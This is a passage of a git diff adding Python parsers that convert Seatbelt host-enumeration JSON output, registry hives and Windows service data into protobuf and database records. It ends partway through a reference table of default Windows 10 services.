+ data["ProcessCommandLine"] = data.pop("ProcessName") + if "ProcessName" not in data: + data["ProcessName"] = "" + if "ServiceName" not in data and "Service" in data: + data["ServiceName"] = data.pop("Service") + return cls(**data) + + def to_protobuf(self) -> pb.NetworkConnectionIngestion: + """Converts a SeatbeltUdpConnection object to a NetworkConnectionIngestion protobuf object. + + Returns: + NetworkConnectionIngestion: The converted NetworkConnectionIngestion protobuf + """ + + output = pb.NetworkConnectionIngestion() + + output.local_address = f"{self.LocalAddress}:{self.LocalPort}" + output.protocol = "udp,ipv4" + if self.ProcessId: + output.process_id = self.ProcessId + if self.ProcessName: + output.process_name = self.ProcessName + if self.ServiceName: + output.service = self.ServiceName + + return output + + +# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Windows/OSInfoCommand.cs#L180-L230 +@dataclass +class SeatbeltOSInfo: + Hostname: str + Domain: Optional[str] + Username: Optional[str] + ProductName: Optional[str] + EditionId: Optional[str] + ReleaseId: Optional[int] + Build: Optional[str] + BuildBranch: Optional[str] + CurrentMajorVersionNumber: Optional[Decimal] + CurrentVersion: Optional[str] + Architecture: Optional[str] + ProcessorCount: Optional[int] + IsVirtualMachine: Optional[bool] + BootTimeUtc: Optional[str] + IsHighIntegrity: Optional[bool] + IsLocalAdmin: Optional[bool] + CurrentTimeUtc: Optional[datetime] + TimeZone: Optional[str] + TimeZoneUtcOffset: Optional[str] + Locale: Optional[str] + InputLanguage: Optional[str] + InstalledInputLanguages: Optional[List[str]] + MachineGuid: Optional[UUID4] + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + return cls(**data) + + +# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Output/Sinks/JsonFileOutputSink.cs#L36-L40 +@dataclass +class SeatbeltBaseDTO: + Type: str + Data: Any + + @classmethod + def from_json(cls, json_data: str): + data = json.loads(json_data) + if not data.get("Type") or not data.get("Data"): + raise ValueError("Invalid SeatbeltBaseDTO: missing 'Type' or 'Data' field") + return cls(data["Type"], data["Data"]) + + @classmethod + def from_dict(cls, data: Dict[str, Any]): + if not data.get("Type") or not data.get("Data"): + raise ValueError("Invalid SeatbeltBaseDTO: missing 'Type' or 'Data' field") + return cls(data["Type"], data["Data"]) + + +SEATBELT_DATE_START_TOKEN = "/Date(" +SEATBELT_DATE_END_TOKEN = ")/" + + +def parse_seatbelt_date(date_string: str) -> datetime: + """Parses a Seatbelt date string into a datetime object. + + Seatbelt's date format is in the form of '/Date(1651900411539)/' , which represent 5/7/2022 5:13:31 AM UTC. + + Args: + date_string (str): The Seatbelt date string to parse. + + Raises: + ValueError: If the date string is not in the format of '/Date(%d)/'. + + Returns: + datetime: The parsed datetime object. + """ + if not date_string.startswith(SEATBELT_DATE_START_TOKEN) or not date_string.endswith(SEATBELT_DATE_END_TOKEN): + raise ValueError(f"Invalid Seatbelt date string. Expected a date in the format of '/Date(%d)/' but got '{date_string}'") + + num = date_string[len(SEATBELT_DATE_START_TOKEN) : -(len(SEATBELT_DATE_END_TOKEN))] + epoch = int(num) / 1000 + + return datetime.fromtimestamp(epoch, tz=timezone.utc) diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py new file mode 100644 index 0000000..df61cd1 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py @@ -0,0 +1,262 @@ +# Standard Libraries +import asyncio +import uuid +from typing import Callable, Coroutine + +# 3rd Party Libraries +import enrichment.lib.nemesis_db as db +import jsonlines +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.nemesis_db import Metadata, NemesisDb +from enrichment.tasks.raw_data_tag.seatbelt_datatypes import ( + SeatbeltBaseDTO, + SeatbeltDtoTypes, + SeatbeltFileInfo, + SeatbeltNamedPipe, + SeatbeltOSInfo, + SeatbeltRegistryValue, + SeatbeltService, + SeatbeltTcpConnection, + SeatbeltUdpConnection, + parse_seatbelt_date, +) +from nemesiscommon.messaging import MessageQueueProducerInterface +from nemesiscommon.storage import StorageInterface + +logger = structlog.get_logger(__name__) + + +class seatbelt_json: + db: NemesisDb + storage: StorageInterface + file_info_q: MessageQueueProducerInterface + reg_value_q: MessageQueueProducerInterface + service_output_q: MessageQueueProducerInterface + named_pipe_q: MessageQueueProducerInterface + network_connection_q: MessageQueueProducerInterface + tasks_set = set() + + def __init__( + self, + db: NemesisDb, + storage: StorageInterface, + file_info_q: MessageQueueProducerInterface, + reg_value_q: MessageQueueProducerInterface, + service_output_q: MessageQueueProducerInterface, + named_pipe_q: MessageQueueProducerInterface, + network_connection_q: MessageQueueProducerInterface, + ): + self.db = db + self.storage = storage + self.file_info_q = file_info_q + self.reg_value_q = reg_value_q + self.service_output_q = service_output_q + self.named_pipe_q = named_pipe_q + self.network_connection_q = network_connection_q + + async def create_task(self, func: Coroutine) -> None: + task = asyncio.create_task(func) + self.tasks_set.add(task) + task.add_done_callback(self.tasks_set.discard) + + async def process(self, event: pb.RawDataIngestion, metadata: pb.Metadata) -> None: + """Processes a raw_data message associated with a Seatbelt NDJSON file. + + Args: + event (pb.RawDataIngestion): RawDataIngestion event to process. + metadata (pb.Metadata): Metadata for the event. + """ + + if not event.is_file: + await logger.awarning("Received a Seatbelt file that is not a file", metadata=metadata) + return + + # Create seatbelt taskgroup + self.reg_msg = pb.RegistryValueIngestionMessage() + self.reg_msg.metadata.CopyFrom(metadata) + + # When the raw_data record has is_file=True, the "data" field is the file object UUID + filename = uuid.UUID(event.data) + + with await self.storage.download(filename) as temp_file: + await self.read_ndjson_file( + temp_file.name, + self.parse_json, + metadata=metadata, + ) + + # Send outstanding registry messages + if len(self.reg_msg.data) > 0: + await self.create_task(self.reg_value_q.Send(self.reg_msg.SerializeToString())) + del self.reg_msg.data[:] # Clear the list + + # wait for all outstanding tasks to complete + await logger.ainfo("Waiting for all tasks to complete") + await asyncio.gather(*self.tasks_set) + + async def read_ndjson_file(self, filename: str, callback: Callable, **kwargs) -> None: + """Loads a Seatbelt new-line deliniated JSON file and calls the callback function for each DTO entry. + + Args: + filename (str): Path to the new-line deliniated Seatbelt JSON file + metadata (pb.Metadata): The metadata for the raw_data event + callback (function): Callback function to call for each entry in the file. The callback should accept two arguments: the SeatbeltBaseDTO object and the metadata. + """ + with jsonlines.open(filename) as reader: + for line in reader: + await callback(line, **kwargs) + + async def parse_json(self, line, metadata: pb.Metadata): + obj = SeatbeltBaseDTO.from_dict(line) + await self.process_dto(obj, metadata) + + async def process_dto(self, obj: SeatbeltBaseDTO, metadata: pb.Metadata): + """Processes a SeatbeltBaseDTO object and sends the appropriate protobuf message to the appropriate queue. + This function is called for each entry in the Seatbelt JSON file. + + Args: + obj (SeatbeltBaseDTO): The SeatbeltBaseDTO object to process + metadata (pb.Metadata): The metadata for the raw_data event + """ + + if obj.Type == SeatbeltDtoTypes.REGISTRY_VALUE.value: + reg_dto = SeatbeltRegistryValue.from_dict(obj.Data) + reg_pb = reg_dto.to_protobuf() + + self.reg_msg.data.append(reg_pb) + + if len(self.reg_msg.data) >= 100: + await self.create_task(self.reg_value_q.Send(self.reg_msg.SerializeToString())) + del self.reg_msg.data[:] # Clear the list + + elif obj.Type == SeatbeltDtoTypes.FILE_INFO.value: + file_dto = SeatbeltFileInfo.from_dict(obj.Data) + file_pb = file_dto.to_protobuf() + + msg = pb.FileInformationIngestionMessage() + msg.metadata.CopyFrom(metadata) + msg.data.append(file_pb) + + await self.create_task(self.file_info_q.Send(msg.SerializeToString())) + + elif obj.Type == SeatbeltDtoTypes.NAMED_PIPE.value: + named_pipe_dto = SeatbeltNamedPipe.from_dict(obj.Data) + named_pipe_pb = named_pipe_dto.to_protobuf() + + msg = pb.NamedPipeIngestionMessage() + msg.metadata.CopyFrom(metadata) + msg.data.append(named_pipe_pb) + + await self.create_task(self.named_pipe_q.Send(msg.SerializeToString())) + + elif obj.Type == SeatbeltDtoTypes.TCP_CONNECTION.value: + tcp_connection_dto = SeatbeltTcpConnection.from_dict(obj.Data) + tcp_connection_pb = tcp_connection_dto.to_protobuf() + + msg = pb.NetworkConnectionIngestionMessage() + msg.metadata.CopyFrom(metadata) + msg.data.append(tcp_connection_pb) + + await self.create_task(self.network_connection_q.Send(msg.SerializeToString())) + + elif obj.Type == SeatbeltDtoTypes.UDP_CONNECTION.value: + udp_connection_dto = SeatbeltUdpConnection.from_dict(obj.Data) + udp_connection_pb = udp_connection_dto.to_protobuf() + + msg = pb.NetworkConnectionIngestionMessage() + msg.metadata.CopyFrom(metadata) + msg.data.append(udp_connection_pb) + + await self.create_task(self.network_connection_q.Send(msg.SerializeToString())) + + elif obj.Type == SeatbeltDtoTypes.OS_INFO.value: + osinfo_dto = SeatbeltOSInfo.from_dict(obj.Data) + m = Metadata( + metadata.agent_id, + metadata.project, + metadata.source, + metadata.timestamp.ToDatetime(), + metadata.expiration.ToDatetime(), + ) + h = db.HostInfo.from_seatbelt_dto(osinfo_dto, m) + + # TODO: we have to build a protobuf if we want to emit to the queue instead of the DB + await self.create_task(self.db.add_host_info(h)) + + elif obj.Type == SeatbeltDtoTypes.SLACK_DOWNLOADS.value: + username = obj.Data["UserName"] + for download in obj.Data["Downloads"]: + try: + seatbelt_slack_download = db.SlackDownload( + metadata.agent_id, + metadata.project, + metadata.source, + metadata.timestamp.ToDatetime(), + metadata.expiration.ToDatetime(), + username, + download["TeamID"], + download["UserID"], + download["DownloadPath"].replace("\\", "/"), + parse_seatbelt_date(download["StartTime"]), + ) + # TODO: we have to build a protobuf if we want to emit to the queue instead of the DB + await self.create_task(self.db.add_slack_download(seatbelt_slack_download)) + except Exception as e: + await logger.aerror("Error parsing a Seatbelt Slack download line", error=e) + + elif obj.Type == SeatbeltDtoTypes.SLACK_WORKSPACES.value: + username = obj.Data["UserName"] + for workspace in obj.Data["Workspaces"]: + try: + seatbelt_slack_workspace = db.SlackWorkspace( + metadata.agent_id, + metadata.project, + metadata.source, + metadata.timestamp.ToDatetime(), + metadata.expiration.ToDatetime(), + username, + workspace["Name"], + workspace["Domain"], + workspace["ID"], + ) + # TODO: we have to build a protobuf if we want to emit to the queue instead of the DB + await self.create_task(self.db.add_slack_workspace(seatbelt_slack_workspace)) + except Exception as e: + await logger.aerror("Error parsing a Seatbelt Slack workspace line", error=e) + + elif obj.Type == SeatbeltDtoTypes.SERVICE_INFO.value: + service_dto = SeatbeltService.from_dict(obj.Data) + service_pb = service_dto.to_protobuf() + + msg = pb.ServiceIngestionMessage() + msg.metadata.CopyFrom(metadata) + msg.data.append(service_pb) + + await self.service_output_q.Send(msg.SerializeToString()) + + # if there's non-null file information, also emit that + if "BinaryPath" in obj.Data and obj.Data["BinaryPath"] is not None: + file_info_pb = pb.FileInformationIngestion() + file_info_pb.path = obj.Data["BinaryPath"] + + if "BinaryPathSDDL" in obj.Data and obj.Data["BinaryPathSDDL"] is not None: + file_info_pb.sddl = obj.Data["BinaryPathSDDL"] + + version_info = "" + + if "FileDescription" in obj.Data and obj.Data["FileDescription"] is not None: + version_info += f"FileDescription: {obj.Data['FileDescription']}\n" + if "CompanyName" in obj.Data and obj.Data["CompanyName"] is not None: + version_info += f"CompanyName: {obj.Data['CompanyName']}\n" + if "Version" in obj.Data and obj.Data["Version"] is not None: + version_info += f"FileVersion: {obj.Data['Version']}\n" + + if version_info != "": + file_info_pb.version_info = version_info + + msg = pb.FileInformationIngestionMessage() + msg.metadata.CopyFrom(metadata) + msg.data.append(file_info_pb) + + await self.create_task(self.service_output_q.Send(msg.SerializeToString())) diff --git a/cmd/enrichment/enrichment/tasks/registry_hive.py b/cmd/enrichment/enrichment/tasks/registry_hive.py new file mode 100644 index 0000000..3abcf6e --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/registry_hive.py @@ -0,0 +1,89 @@ +# Standard Libraries +import asyncio +import time +import uuid + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.registry import get_registry_values_from_hive +from nemesiscommon.messaging import (MessageQueueConsumerInterface, + MessageQueueProducerInterface) +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class RegistryHive(TaskInterface): + """ + Class responsible for parsing raw registry hives and emitting + registry value messages after filtering. + """ + + storage: StorageInterface + registry_value_batch_size: int + + # Queues + in_q_filedataenriched: MessageQueueConsumerInterface + out_q_registryvalue: MessageQueueProducerInterface + + def __init__( + self, + storage: StorageInterface, + registry_value_batch_size: int, + in_q_filedataenriched: MessageQueueConsumerInterface, + out_q_registryvalue: MessageQueueProducerInterface, + ): + self.storage = storage + + self.in_q_filedataenriched = in_q_filedataenriched + self.out_q_registryvalue = out_q_registryvalue + + # number of registry values to include in a single RegistryValueIngestionMessage message + self.registry_value_batch_size = registry_value_batch_size + + async def run(self) -> None: + await logger.ainfo("Starting the Registry Hive service") + + await asyncio.gather( + self.in_q_filedataenriched.Read(self.handle_file_data_enriched), # type: ignore + ) + await asyncio.Future() + + async def handle_file_data_enriched(self, q_msg: pb.FileDataEnrichedMessage) -> None: + await self.process_file_data_enriched(q_msg) + + @aio.time(Summary("process_file_data_enriched_reg_hive", "Time spent processing a file_data_enriched topic")) # type: ignore + async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage): + for data in event.data: + if data.magic_type.startswith("MS Windows registry file"): + try: + with await self.storage.download(uuid.UUID(data.object_id)) as temp_file: + # extract out any keys from a hive we can and submit them to the registry_value queue + registry_message = pb.RegistryValueIngestionMessage() + registry_message.metadata.CopyFrom(event.metadata) + start = time.time() + value_counter = 0 + total_values = 0 + + async for reg_entry in get_registry_values_from_hive(temp_file.name): + if value_counter == self.registry_value_batch_size: + # include up to self.registry_value_batch_size values in the registry message + await self.out_q_registryvalue.Send(registry_message.SerializePartialToString()) + del registry_message.data[:] + registry_message.data.extend([reg_entry]) + value_counter += 1 + total_values += 1 + + # send what's left + if len(registry_message.data) > 0: + await self.out_q_registryvalue.Send(registry_message.SerializePartialToString()) + + await logger.ainfo( + f"Registry hive values ({total_values}) for {data.name} extracted in {time.time() - start} seconds, emitting RegistryValueIngestionMessage" + ) + except Exception as e: + await logger.aexception(e, message="Exception in process_file_data_enriched") diff --git a/cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py b/cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py new file mode 100644 index 0000000..7fb697c --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py @@ -0,0 +1,68 @@ +# Standard Libraries +import os +import re +from abc import ABC, abstractmethod +from dataclasses import dataclass +from typing import Dict, Optional + + +@dataclass +class ServiceCategory: + category: str + + +class ServiceCategorizerInterface(ABC): + @abstractmethod + async def lookup(self, name: str) -> ServiceCategory: + pass + + +class TsvServiceCategorizer(ServiceCategorizerInterface): + serviceCategoryMap: Dict[str, ServiceCategory] = {} + data_path: str + _initialized: bool = False + _category_files: Dict[str, str] = {"WindowsDefault": "win10_default.tsv"} + + def __init__(self, data_path: Optional[str] = None): + if data_path: + self.data_path = data_path + else: + self.data_path = os.path.join(os.path.dirname(__file__), "data") + + def __load_categories(self) -> None: + for category_name, filename in self._category_files.items(): + filepath = os.path.join(self.data_path, filename) + self.__load_tsv(category_name, filepath) + + def __load_tsv(self, category_name: str, filepath: str) -> None: + tsv = open(filepath, "r", encoding="utf-8") + lines = tsv.readlines() + tsv.close() + + for line in lines: + line = line.strip() + if line == "" or line.startswith("#"): + continue + + parts = line.split("\t") + + # display_name = parts[0].lower() + service_name = parts[1].lower().replace("?????", "[a-zA-Z0-9_]{5}") + + category = ServiceCategory(category_name) + + self.serviceCategoryMap[service_name] = category + + async def lookup(self, name: str) -> ServiceCategory: + if not self._initialized: + self.__load_categories() + self._initialized = True + + name = name.lower() + + for key in self.serviceCategoryMap.keys(): + # have to do re.match here because some service names are per-user Service_????? style + if re.match(key, name): + return self.serviceCategoryMap[key] + + return ServiceCategory("Unknown") diff --git a/cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv b/cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv new file mode 100644 index 0000000..1181e23 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv @@ -0,0 +1,253 @@ +# ref - https://ss64.com/nt/syntax-services.html +#Service Display Name Service (Registry Key) Description Default Status +ActiveX Installer (AxInstSV) AxInstSV UAC validation to control the installation of Active-X controls via the internet. Manual +Agent Activation Runtime_????? AarSvc_????? Chatbot Runtime for activating Conversational agent applications - Clippy returns. Manual +AllJoyn Router Service AJRouter IoT integration. Manual (Trigger Start) +App Readiness AppReadiness Runs at first logon to prepare apps for use. Manual +Application Identity AppIDSvc Verify Application identity, used by AppLocker. Manual (Trigger Start) +Application Information Appinfo Facilitates running applications with additional administrative privileges. If disabled those additional privileges will not be available. Manual (Trigger Start, Running) +Application Layer Gateway Service ALG Enables plugins for the now ancient internet connection sharing. Manual +Application Management AppMgmt Required for Group Policy software management, Not Available in Win 10 home. Manual +AppX Deployment Service (AppXSVC) AppXSvc Windows Store integration. Cannot be disabled. Manual +AssignedAccessManager Service AssignedAccessManagerSvc Kiosk mode, Not Available in Win 10 home. Manual +Auto Time Zone Updater tzautoupdate Automatically set the Time Zone. Disabled +AVCTP service BthAvctpSvc Audio Video Control TP service - Bluetooth / Wireless. Manual (Trigger Start) +Background Intelligent Transfer Service BITS Transfer files. Manual or Automatic (Delayed Start, Running) +Background Tasks Infrastructure Service BrokerInfrastructure Cannot be disabled. Automatic (Running) +Base Filtering Engine BFE Manage Windows Firewall and IPsec policies and implements user mode filtering. Do not disable. Automatic (Running) +BitLocker Drive Encryption Service BDESVC Secure startup and volume encryption. Manual (Trigger Start) +Block Level Backup Engine Service wbengine Used by Windows Backup. Manual +Bluetooth Audio Gateway Service BTAGService Bluetooth Audio - Wireless headsets. Manual (Trigger Start) +Bluetooth Support Service bthserv Discovery of Bluetooth devices. Manual (Trigger Start) +Bluetooth User Support Service_????? BluetoothUserService_????? Bluetooth features. Manual (Trigger Start) +BranchCache PeerDistSvc Used by Windows Update for download sharing on the local subnet. Manual +Capability Access Manager Service camsvc Manage UWP apps. Manual +CaptureService_????? CaptureService_????? Screen Capture Service via the Windows.Grapics.Capture API. Manual +Cellular Time autotimesvc Set the time based on NITZ messages from a mobile network. Manual +Certificate Propagation CertPropSvc Manage certificates for Smart Card login. Manual (Trigger Start) +Client License Service (ClipSVC) ClipSVC Support for Microsoft store, cannot be disabled. Manual (Trigger Start) +Clipboard User Service_????? cbdhsvc_????? Clipboard. Manual +CNG Key Isolation KeyIso Secure long lived keys for cryptographic operations. Manual (Trigger Start, Running) +COM+ Event System EventSystem COM Event notification service, required for COM+ Manual +COM+ System Application COMSysApp Network discovery of systems on local network. Manual (Trigger Start) +Connected Devices Platform Service CDPSvc Connected Devices Platform. Automatic (Delayed Start, Trigger Start) +Connected Devices Platform User Service_????? CDPUserSvc_????? Connected Devices Platform. Automatic (Running) +Connected User Experiences and Telemetry DiagTrack Feedback and Diagnostics. Automatic (Running) +ConsentUX_????? ConsentUxUserSvc_????? Connect and pair WiFi and Bluetooth devices, ConnectUX. Manual +Contact Data_????? PimIndexMaintenanceSvc_????? Indexes contact data for fast contact searching. Manual +CoreMessaging CoreMessagingRegistrar Cannot be disabled. Manages communication between system components. Automatic (Running) +Credential Manager VaultSvc Secure storage and retrieval of credentials. Control Panel: Credential Manager. Manual +CredentialEnrollmentManagerUserSvc_????? CredentialEnrollmentManagerUserSvc_????? Credential Enrolment Manager. Manual +Cryptographic Services CryptSvc Manage root certificates. Automatic (Running) +Data Sharing Service DsSvc Data brokering between applications. Manual (Trigger Start) +Data Usage DusmSvc Network data usage,data limit/metered networks. Automatic (Running) +DCOM Server Process Launcher DcomLaunch Required for COM and DCOM object activation requests. Automatic (Running) +Delivery Optimization DoSvc Content delivery Optimisation. Automatic (Delayed Start) +Device Association Service DeviceAssociationService Pairing between the system and wired or wireless devices. Manual (Trigger Start) +Device Install Service DeviceInstall Recognise new hardware, do not disable. Manual (Trigger Start) +Device Management Enrollment Service DmEnrollmentSvc Device enrolment/management. Manual +Device Management Wireless Application Protocol (WAP) Push message Routing Service dmwappushservice WAP - Sync device sessions. Manual +Device Setup Manager DsmSvc Install device drivers. Manual (Trigger Start) +DeviceAssociationBroker_????? DeviceAssociationBrokerSvc_????? Pair devices. Manual +DevicePicker_????? DevicePickerUserSvc_????? Manage Miracast DLNA and DIAL UI. Manual +DevicesFlow_????? DevicesFlowUserSvc_????? Connect and pair WiFi and Bluetooth devices, ConnectUX/PC settings. Manual +DevQuery Background Discovery Broker DevQueryBroker Enable apps to discover devices with a background task. Manual (Trigger Start) +DHCP Client Dhcp Allocate an IP address to this computer automatically. Automatic (Running) +Diagnostic Execution Service diagsvc Enable troubleshooting support. Manual (Trigger Start) +Diagnostic Policy Service DPS Enable problem detection, troubleshooting and resolution for Windows components. Automatic (Running) +Diagnostic Service Host WdiServiceHost Diagnostics for Local Services. Manual (Running) +Diagnostic System Host WdiSystemHost Diagnostics for the Local System. Manual +DialogBlockingService DialogBlockingService DialogBlockingService Disabled +Display Enhancement Service DisplayEnhancementService Brightness. Manual (Trigger Start) +Display Policy Service DispBrokerDesktopSvc Connection and configuration of local and remote displays. Automatic (Delayed Start) +Distributed Link Tracking Client TrkWks Attempt to maintain valid links between NTFS files across a network. Automatic (Running) +Distributed Transaction Coordinator MSDTC Co-ordinate transactions between resource managers, database, file and message queues. Manual +DNS Client Dnscache Cache DNS queries and register the computername. Automatic (Trigger Start, Running) +Downloaded Maps Manager MapsBroker Windows/Bing maps. Automatic (Delayed Start) +Embedded Mode embeddedmode Activate background applications. Manual (Trigger Start) +Encrypting File System (EFS) EFS Allow storage of encrypted files on NTFS file systems. Manual (Trigger Start) +Enterprise App Management Service EntAppSvc Cannot be disabled. Enterprise Application management. Manual +Extensible Authentication Protocol Eaphost Network Authentication - VPN NAP and Wireless. Manual +File History Service fhsvc Used by Windows Backup. Manual (Trigger Start) +Function Discovery Provider Host fdPHost Network discovery and Web Service discovery. Manual +Function Discovery Resource Publication FDResPub Publish this computer and resources over the network. Manual (Running) +GameDVR and Broadcast User Service_????? BcastDVRUserService_????? Game recordings and Live broadcasts. Cannot be disabled. Manual (Trigger Start) +Geolocation Service lfsvc Manage Geofences - a geographic location with associated events. Manual (Trigger Start, Running) +GraphicsPerfSvc GraphicsPerfSvc Monitor graphics performance. Manual (Trigger Start) +Group Policy Client gpsvc Cannot be disabled. Apply admin settings through group policy. Automatic (Trigger Start) +Human Interface Device Service hidserv Activate and maintain hot buttons on keyboards and other controls. Manual (Trigger Start) +HV Host Service HvHost Hyper-V interface for performance counters. Manual (Trigger Start) +Hyper-V Data Exchange Service vmickvpexchange Hyper-V interface for data exchange. Manual (Trigger Start) +Hyper-V Guest Service Interface vmicguestinterface Hyper-V interface for VM services. Manual (Trigger Start) +Hyper-V Guest Shutdown Service vmicshutdown Hyper-V interface for VM shutdown. Manual (Trigger Start) +Hyper-V Heartbeat Service vmicheartbeat Hyper-V identify frozen VMs. Manual (Trigger Start) +Hyper-V PowerShell Direct Service vmicvmsession Hyper-V interface for PowerShell. Manual (Trigger Start) +Hyper-V Remote Desktop Virtualization Service vmicrdv Hyper-V desktop interface. Not Available in Win 10 home. Manual (Trigger Start) +Hyper-V Time Synchronization Service vmictimesync Hyper-V time sync. Manual (Trigger Start) +Hyper-V Volume Shadow Copy Requestor vmicvss Hyper-V shadow copy/backup. Manual (Trigger Start) +IKE and AuthIP IPsec Keying Modules IKEEXT Internet Key exchange. Manual (Trigger Start) +Internet Connection Sharing (ICS) SharedAccess Provides NAT/name resolution for small office networks. Very rarely needed. Manual (Trigger Start) +IP Helper iphlpsvc IPv6 translation. Automatic (Running) +IP Translation Configuration Service IpxlatCfgSvc IPv6 translation. Manual (Trigger Start) +IPsec Policy Agent PolicyAgent Network level peer authentication. Enforces IPsec policies. Manual (Trigger Start) +KtmRm for Distributed Transaction Coordinator KtmRm Co-ordinates distributed transactions. MSDTC/KTM. Manual (Trigger Start) +Language Experience Service LxpSvc Deployment infrastructure for configuring additional languages. Manual +Link-Layer Topology Discovery Mapper lltdsvc Creates a Network map describing each PC and device. Manual +Local Profile Assistant Service wlpasvc Profile management for local subscriber identity modules. Manual (Trigger Start) +Local Session Manager LSM Cannot be disabled. Manage local user sessions. Automatic (Running) +MessagingService_????? MessagingService_????? Text Messaging. Manual (Trigger Start) +Microsoft (R) Diagnostics Hub Standard Collector Service diagnosticshub.standardcollector.service Collect real-time Event Tracing for Windows (ETW) events. Manual +Microsoft Account Sign-in Assistant wlidsvc Running if using MS account to log in to computer. Manual (Trigger Start) +Microsoft App-V Client AppVClient Manage App-V users and virtual applications. Not Available in Win 10 home. Disabled +Microsoft iSCSI Initiator Service MSiSCSI Manage iSCSI devices. Manual +Microsoft Keyboard Filter MsKeyboardFilter Control keystroke filtering and mapping. Not Installed (Disabled) +Microsoft Passport NgcSvc Process isolation for cryptographic keys. Cannot be disabled. Manual (Trigger Start) +Microsoft Passport Container NgcCtnrSvc Manage Local user identity keys and smartcard access. Cannot be disabled. Manual (Trigger Start) +Microsoft Software Shadow Copy Provider swprv Volume Shadow Copy. Used by Windows Backup. Manual (Runs at boot, then stops) +Microsoft Storage Spaces SMP smphost Manage storage pools with multiple disks (WSS). Manual +Microsoft Store Install Service InstallService Microsoft Store. Manual +Microsoft Windows SMS Router Service. SmsRouter Route messages. Manual (Trigger Start) +Natural Authentication NaturalAuthentication Signal aggregator service for automatic device lock/unlock. Manual (Trigger Start) +Net.Msmq/Net.Pipe/Net.Tcp Listener Adapter NetMsmqActivator/NetPipeActivator/NetTcpActivator Not installed +Net.Tcp Port Sharing Service Provides ability to share TCP ports over net.tcp Disabled +Netlogon Netlogon Connect to a domain controller. Manual +Network Connected Devices Auto-Setup NcdAutoSetup Discover and install qualified devices. Manual (Trigger Start, Running) +Network Connection Broker NcbService Broker connections between Windows store apps and the internet. Manual (Trigger Start, Running) +Network Connections Netman Manage network and Dial-up connections. Manual +Network Connectivity Assistant NcaSvc DirectAccess status notification. Manual (Trigger Start) +Network List Service netprofm Identify networks. Manual (Running) +Network Location Awareness NlaSvc Notify changes in the network configuration. Automatic (Running) +Network Setup Service NetSetupSvc Manage installation and configuration of network drivers. Manual (Trigger Start) +Network Store Interface Service nsi Network notifications for user mode clients. Automatic (Running) +Offline Files CscService Perform offline maintenance on the offline files cache. Not Available in Win 10 home. Manual (Trigger Start) +OpenSSH Authentication Agent ssh-agent Agent to hold private keys used for public key authentication. Manual +Optimize drives defragsvc Optimise file storage by defragmenting on disc. Manual +Parental Controls WpcMonSvc Enforces parental controls in Windows. Manual +Payments and NFC/SE Manager SEMgrSvc Manage payments and Near Field Communication (NFC) based secure elements. Manual (Trigger Start) +Peer Name Resolution Protocol PNRPsvc Enable serverless peer name resolution over the internet (Remote Assistance). Manual +Peer Networking Grouping p2psvc Enables multi-party communication using peer-peer grouping. (Home Group). Manual +Peer Networking Identity Manager p2pimsvc Identity services for peer Name resolution and peer-peer grouping services. Manual +Performance Counter DLL Host PerfHost Enable remote users and 64 bit processes to query perf counters provided by 32-bit DLLs. Manual +Performance Logs & Alerts pla Collect performance data from local or remote computers. Manual +Phone Service PhoneSvc Manage the telephony state. Manual (Trigger Start) +Plug and Play PlugPlay Recognise new hardware. Do not disable. Manual (Running) +PNRP Machine Name Publication Service PNRPAutoReg Publish a machine name using Peer name resolution protocol. Manual +Portable Device Enumerator Service WPDBusEnum Enforce group policy for removable mass storage devices. Enables transferring and synchronising content. Manual (Trigger Start) +Power Power Manage power policy and power policy notifications. Automatic (Running) +Print Spooler Spooler Spool print jobs. Do not disable. Automatic (Running) +Printer Extensions and Notifications PrintNotify Open custom printer dialogue boxes and handle notifications from a remote print server or printer. Manual +PrintWorkflow_????? PrintWorkflowUserSvc_????? Print Workflow. Cannot be disabled. Manual +Problem Reports and Solutions Control Panel Support wercplsupport System level problem reports. Manual +Program Compatibility Assistant Service PcaSvc Program Compatibility Assistant (PCA) Automatic (Running) +Quality Windows Audio Video Experience QWAVE Platform for A/V streaming applications on IP home networks. Manual +Radio Management Service RmSvc Radio Management and Airplane Mode - wireless comms / Bluetooth. Manual +Recommended Troubleshooting Service TroubleshootingSvc Automatic mitigation for known problems and recommended troubleshooting options. Manual +Remote Access Auto Connection Manager RasAuto Automatically connect to a remote network whenever a DNS name is used. Manual +Remote Access Connection Manager RasMan Manage Dial-Up and VPM connections. Manual +Remote Desktop Configuration SessionEnv Remote Desktop related activities, temporary folders,themes and certificates. Manual +Remote Desktop Services TermService Allow users to connect interactively with a remote computer. To prevent remote use of this computer clear the checkboxes on the Remote tab of the system properties control panel item. Manual +Remote Desktop Services UserMode Port Redirector UmRdpService Allow redirection of Printers/Drivers/Ports for RDP connections. Manual +Remote Procedure Call (RPC) RpcSs Object activation for COM and DCOM. Cannot be disabled. Automatic (Running) +Remote Procedure Call (RPC) Locator RpcLocator No functionality in Windows 10, this is provided for Application Compatibility. Manual +Remote Registry RemoteRegistry Enable remote users to modify the registry on this computer. Disabled +Retail Demo Service RetailDemo Allows running the Retail Demo mode which will erase all files and restore Windows to a factory default. You may prefer to disable this. Manual +Routing and Remote Access RemoteAccess LAN and WAN routing to other businesses. Disabled +RPC Endpoint Mapper RpcEptMapper Resolve RPC interface identifiers to a transport endpoint. Cannot be disabled. Automatic (Running) +Runtime Broker RuntimeBroker Microsoft core process, manages permissions for all universal (Windows Store) apps. Automatic (Running) +Secondary Logon 